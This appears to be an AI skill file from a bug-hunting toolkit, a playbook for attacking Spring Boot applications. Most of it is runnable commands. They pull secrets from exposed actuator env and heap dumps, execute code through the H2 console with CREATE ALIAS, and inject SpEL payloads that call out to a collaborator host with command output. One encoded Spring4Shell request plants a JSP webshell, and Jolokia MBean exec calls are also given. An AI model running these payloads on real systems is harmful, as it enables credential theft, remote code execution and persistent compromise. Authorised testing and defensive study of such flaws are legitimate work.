Hunt Spring Boot specific vulnerabilities — Actuator endpoints (heapdump, env, loggers, mappings, shutdown), Spring Expression Language (SpEL) injection → RCE, H2 console RCE, Jolokia JMX exposure, Spring4Shell (CVE-2022-22965), Spring Cloud Function SPEL (CVE-2022-22963), heap dump credential extraction. Use when target runs Spring Boot — detected via X-Application-Context header, /actuator, Whitelabel Error Page, or Java stack traces.
npx skills add https://github.com/elementalsouls/Claude-BugHunter --skill hunt-springboot
Spring Boot Actuator /actuator/heapdump exposed = heap dump with all secrets in memory.
Highest-value findings:
/actuator/heapdump — full JVM heap dump contains plaintext passwords, tokens, DB credentials, private keys stored anywhere in memory/actuator/env — lists all environment variables and Spring properties including secrets/actuator/shutdown — POST → shuts down the application (Critical availability impact)/h2-console) — in-memory DB admin UI → SQL query execution → potential RCE via CREATE ALIAS trick@Value annotations, SpEL-processed request params → RCE# Spring Boot indicators
curl -sI https://$TARGET/ | grep -i "x-application-context\|x-content-type"
curl -s "https://$TARGET/nonexistent" | grep -i "Whitelabel Error Page\|Spring Boot\|org.springframework"
# Actuator root (may list available endpoints)
curl -s "https://$TARGET/actuator" | python3 -m json.tool 2>/dev/null
curl -s "https://$TARGET/actuator/" | python3 -m json.tool 2>/dev/null
# Try common base paths
for base in "" "/manage" "/management" "/app"; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$base/actuator")
[ "$STATUS" = "200" ] && echo "[+] Actuator at: $TARGET$base/actuator"
done
BASE="https://$TARGET/actuator"
# High-impact endpoints
ENDPOINTS=("env" "heapdump" "threaddump" "mappings" "beans" "metrics"
"loggers" "info" "health" "configprops" "shutdown" "trace"
"httptrace" "auditevents" "sessions" "scheduledtasks" "caches"
"flyway" "liquibase" "refresh" "restart")
for EP in "${ENDPOINTS[@]}"; do
# Don't trust HTTP 200 alone — Spring returns 200 with a Whitelabel/login
# page for many paths. Require actuator-shaped JSON (or a heapdump body)
# before calling it EXPOSED.
BODY=$(curl -s -H "Accept: application/json" "$BASE/$EP")
CT=$(curl -s -o /dev/null -w "%{content_type}" -H "Accept: application/json" "$BASE/$EP")
if echo "$CT" | grep -qi "json" && ! echo "$BODY" | grep -qi "Whitelabel Error Page\|<html"; then
echo "[+] EXPOSED: $BASE/$EP"
fi
done
# Get environment variables (passwords, API keys)
curl -s "$BASE/env" | python3 -m json.tool 2>/dev/null | grep -i "password\|secret\|key\|token\|credential" | head -20
# Get all endpoint mappings (full API surface)
curl -s "$BASE/mappings" | python3 -m json.tool 2>/dev/null | grep -oP '"pattern":"\K[^"]+' | sort
# Get Spring beans (lists all registered beans, reveals internal architecture)
curl -s "$BASE/beans" | python3 -m json.tool 2>/dev/null | head -100
# Download heap dump (can be large — 100MB+)
curl -s "$BASE/heapdump" -o /tmp/heapdump.hprof
ls -lh /tmp/heapdump.hprof
# Quick grep for secrets in heap dump (binary file — use strings)
strings /tmp/heapdump.hprof | grep -iE "(password|secret|apikey|api_key|token|bearer|private_key)" | \
grep -v "^[a-z_]" | sort -u | head -50
# More targeted extraction
strings /tmp/heapdump.hprof | grep -oP "(?:password|passwd|pwd)\s*[=:]\s*\S+" | sort -u | head -20
strings /tmp/heapdump.hprof | grep -oP "AKIA[A-Z0-9]{16}" | sort -u # AWS keys
strings /tmp/heapdump.hprof | grep -oP "sk_live_[A-Za-z0-9]+" | sort -u # Stripe keys
strings /tmp/heapdump.hprof | grep -oP "Bearer [A-Za-z0-9._-]+" | sort -u # Bearer tokens
# Use Eclipse Memory Analyzer (MAT) for deep analysis
# https://www.eclipse.org/mat/
# H2 console detection
curl -s "https://$TARGET/h2-console" | grep -i "H2 Console\|H2 Database"
curl -s "https://$TARGET/h2" | grep -i "H2 Console"
curl -s "https://$TARGET/console" | grep -i "H2"
# Default credentials: sa / (empty password)
# JDBC URL: jdbc:h2:mem:testdb
# If accessible, RCE via CREATE ALIAS:
# SQL to execute:
# CREATE ALIAS EXEC AS $$ String exec(String cmd) throws Exception {
# Runtime rt = Runtime.getRuntime();
# String[] commands = {"sh","-c",cmd};
# Process proc = rt.exec(commands);
# return new String(proc.getInputStream().readAllBytes());
# } $$;
# CALL EXEC('id');
# Spring Expression Language injection in user-controlled fields
# Test: ${7*7} or #{7*7} → if the response reflects 49, SpEL is being evaluated
# Common injection points:
# - Email template fields: "Hello ${name}"
# - Custom annotation @Value("${user.input}")
# - Spring Security expressions
# - Spring WebFlow
# Basic SpEL test
curl -s -X POST "https://$TARGET/api/user/name" \
-H "Content-Type: application/json" \
-d '{"name": "#{7*7}"}'
# If returns 49 → SpEL injection confirmed
# RCE payload — note: exec() returns a Process, not a String, so a bare
# exec("id") produces NO visible output. Confirm via an OOB curl callback
# (the spawned curl makes the network request even though nothing is reflected):
curl -s -X POST "https://$TARGET/api/user/name" \
-H "Content-Type: application/json" \
-d '{"name": "#{T(java.lang.Runtime).getRuntime().exec(new String[]{\"sh\",\"-c\",\"curl COLLAB_HOST/spel-$(id|base64)\"})}"}'
# CVE-2022-22963 — Spring Cloud Function SpEL
curl -s -X POST "https://$TARGET/functionRouter" \
-H "spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(\"curl COLLAB_HOST/spel-rce\")" \
-d "test"
# Affects: Spring Framework < 5.3.18 and < 5.2.20 (and all older branches);
# fixed in 5.3.18 / 5.2.20. Requires JDK 9+ and WAR-on-Tomcat deployment.
# Requires: Java 9+, Tomcat as WAR deployment
# Detection: does the app accept class.* parameters?
curl -s "https://$TARGET/api/user" \
-d "class.module.classLoader.URLs[0]=jar:http://COLLAB_HOST/test.jar!/"
# Check COLLAB for HTTP callback
# Exploitation: write webshell via class loader
curl -s "https://$TARGET/login" \
--data-raw "username=test&password=test&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di+if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B+java.io.InputStream+in+%3D+Runtime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B+int+a+%3D+-1%3B+byte%5B%5D+b+%3D+new+byte%5B2048%5D%3B+while((a%3Din.read(b))!%3D-1)%7B+out.println(new+String(b))%3B+%7D+%7D+%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2FROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
# Jolokia provides HTTP access to JMX MBeans
curl -s "https://$TARGET/jolokia" | python3 -m json.tool 2>/dev/null | head -20
curl -s "https://$TARGET/actuator/jolokia" | python3 -m json.tool 2>/dev/null | head -20
# List all MBeans
curl -s "https://$TARGET/jolokia/list" | python3 -m json.tool 2>/dev/null | grep -i "type\|operation" | head -30
# Read system properties via Jolokia (may expose credentials)
curl -s "https://$TARGET/jolokia/read/java.lang:type=Runtime/SystemProperties" | \
python3 -m json.tool 2>/dev/null | grep -i "password\|secret\|key"
# Exec MBean operations (potential RCE via MLet)
curl -s "https://$TARGET/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/tmp/evil"
| Spring Boot finding | Chain to | Impact |
|--------------------|----------|--------|
| /actuator/heapdump | Extract DB passwords, API keys from memory | Critical credential exfil |
| /actuator/env | Read all env vars including secrets | High |
| H2 console accessible | CREATE ALIAS → RCE | Critical |
| SpEL injection | T(Runtime).exec() → OS command | Critical RCE |
| Spring4Shell | Write webshell → RCE | Critical |
| Jolokia + MLet | Remote code via MBean | Critical RCE |
✅ Heap dump: strings command extracts readable passwords/tokens from .hprof file
✅ Actuator/env: secrets visible in JSON response
✅ SpEL: arithmetic expression evaluates (7*7=49) or OOB callback received
✅ H2 console: SQL executed, id output returned
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